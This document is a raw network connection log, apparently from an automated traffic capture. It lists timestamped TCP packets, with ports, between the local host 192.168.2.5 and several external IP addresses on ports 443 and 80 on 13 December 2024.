Dec 13, 2024 07:38:33.206945896 CET	49713	443	192.168.2.5	151.101.1.137
Dec 13, 2024 07:38:33.209784031 CET	49713	443	192.168.2.5	151.101.1.137
Dec 13, 2024 07:38:48.364995003 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:48.365082026 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:48.365179062 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:48.365716934 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:48.365747929 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:49.587981939 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:49.588207006 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:49.590051889 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:49.590076923 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:49.590507030 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:49.594858885 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:49.635339022 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.029692888 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.029900074 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.029968023 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.029989958 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.030078888 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.030138969 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.030153036 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.037750959 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.037825108 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.037841082 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.046022892 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.046097040 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.046112061 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.054441929 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.054527998 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.054542065 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.108064890 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.149224997 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.201821089 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.201850891 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.221510887 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.221626043 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.221648932 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.226989031 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.227051973 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.227066994 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.234496117 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.234568119 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.234581947 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.250190020 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.250220060 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.250246048 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.250268936 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.250423908 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.257956982 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.265760899 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.265798092 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.265818119 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.265834093 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.265882969 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.273597002 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.281466961 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.281522989 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.281538963 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.289320946 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.289366961 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.289381027 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.296330929 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.296402931 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.296417952 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.310205936 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.310260057 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.310276031 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.319284916 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.319350958 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.319365978 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.373678923 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.413770914 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.415677071 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.415774107 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.415833950 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.421850920 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.421921968 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.421940088 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.426388025 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.426448107 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.426462889 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.426511049 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.435224056 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.435231924 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.435297966 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.443223953 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.443231106 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.443293095 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.447360039 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.447377920 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.447433949 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.455434084 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.455471992 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.455518007 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.463464022 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.463535070 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.463562965 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.463876963 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.471540928 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.471610069 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.479507923 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.479581118 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.483530998 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.483598948 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.491575956 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.491663933 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.499450922 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.499521971 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.507457018 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.507528067 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.513432980 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.513494968 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.606005907 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.606261969 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.610764980 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.610848904 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.616725922 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.616811037 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.622688055 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.622765064 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.625571966 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.625650883 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.631290913 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.631373882 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.636579990 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.636653900 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.641977072 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.642052889 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.644809008 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.644876003 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.649724960 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.649801016 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.652436018 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.652509928 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.657646894 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.657715082 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.662807941 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.662885904 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.668020964 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.668106079 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.671924114 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.671999931 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.677146912 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.677225113 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.679776907 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.679851055 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.684998989 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.685077906 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.687742949 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.687819004 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.693097115 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.693178892 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.698072910 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.698149920 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.700804949 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.700880051 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.706012011 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.706089973 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.728089094 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.728219986 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.798047066 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.798198938 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.799051046 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.799120903 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.813333988 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.813369989 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.813399076 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.813422918 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.813461065 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.813498020 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.813513041 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.813565016 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.822727919 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.822777033 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.822809935 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.822824001 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.822846889 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.835081100 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.835102081 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.835160971 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.835236073 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.835273027 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.845741987 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.845791101 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.845829010 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.845855951 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.845874071 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.855854034 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.855933905 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.855973959 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.856000900 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.856031895 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.862934113 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.863004923 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.863025904 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.863054991 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.863081932 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.869774103 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.869796991 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.869851112 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.869919062 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.869952917 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.920639038 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.990978003 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.991036892 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.991291046 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.991378069 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.991514921 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.998016119 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.998094082 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.998179913 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.998205900 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:50.998281956 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:50.998358965 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:51.003801107 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:51.003860950 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:51.003993988 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:51.004015923 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:51.004121065 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:51.006630898 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:51.006736994 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:51.006807089 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:51.006879091 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:51.006895065 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:51.006974936 CET	443	49753	172.67.187.200	192.168.2.5
Dec 13, 2024 07:38:51.007024050 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:38:51.007281065 CET	49753	443	192.168.2.5	172.67.187.200
Dec 13, 2024 07:39:14.119184017 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:14.239100933 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:14.239268064 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:14.247683048 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:14.367634058 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.122776031 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.122925997 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.122957945 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.122994900 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.123029947 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.123064041 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.123094082 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.123095036 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.123106956 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.123142004 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.123147011 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.123178959 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.123214960 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.123236895 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.123332024 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.243062973 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.243145943 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.243253946 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.314632893 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.314795971 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.315004110 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.318751097 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.318864107 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.319293022 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.327179909 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.330235958 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.330355883 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.330393076 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.338598967 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.338665009 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.338812113 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.347011089 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.347115993 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.347201109 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.355418921 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.355540037 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.355565071 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.363796949 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.363908052 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.363945007 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.372215986 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.372318983 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.372325897 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.380630016 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.380705118 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.380723953 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.389060020 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.389117002 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.389164925 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.397505045 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.397936106 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.434777021 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.483043909 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.513293028 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.513434887 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.513834000 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.515858889 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.515976906 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.516196966 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.521019936 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.521209955 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.521358967 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.524652958 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:16.524806023 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.526362896 CET	49815	80	192.168.2.5	208.91.197.27
Dec 13, 2024 07:39:16.646248102 CET	80	49815	208.91.197.27	192.168.2.5
Dec 13, 2024 07:39:32.148942947 CET	49851	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:32.268754959 CET	80	49851	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:32.268892050 CET	49851	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:32.282746077 CET	49851	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:32.402481079 CET	80	49851	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:33.797079086 CET	49851	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:33.917299032 CET	80	49851	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:33.917479992 CET	49851	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:34.814752102 CET	49861	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:34.934571981 CET	80	49861	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:34.934784889 CET	49861	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:34.945873022 CET	49861	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:35.065645933 CET	80	49861	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:36.030731916 CET	80	49861	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:36.031076908 CET	80	49861	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:36.031275034 CET	49861	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:36.451849937 CET	49861	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:37.474262953 CET	49868	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:37.594010115 CET	80	49868	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:37.594090939 CET	49868	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:37.621149063 CET	49868	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:37.740986109 CET	80	49868	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:37.741050005 CET	80	49868	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:38.695035934 CET	80	49868	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:38.702697992 CET	80	49868	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:38.703332901 CET	49868	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:39.123672009 CET	49868	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:40.281197071 CET	49874	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:40.401135921 CET	80	49874	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:40.401320934 CET	49874	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:40.409362078 CET	49874	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:40.529256105 CET	80	49874	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:41.504631996 CET	80	49874	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:41.504671097 CET	80	49874	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:41.504805088 CET	49874	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:41.507356882 CET	49874	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:41.627331018 CET	80	49874	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:47.148735046 CET	49890	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:47.268619061 CET	80	49890	3.33.130.190	192.168.2.5
Dec 13, 2024 07:39:47.268728018 CET	49890	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:47.284142971 CET	49890	80	192.168.2.5	3.33.130.190
Dec 13, 2024 07:39:47.403908968 CET	80	49890	3.33.130.190	192.168.2.5
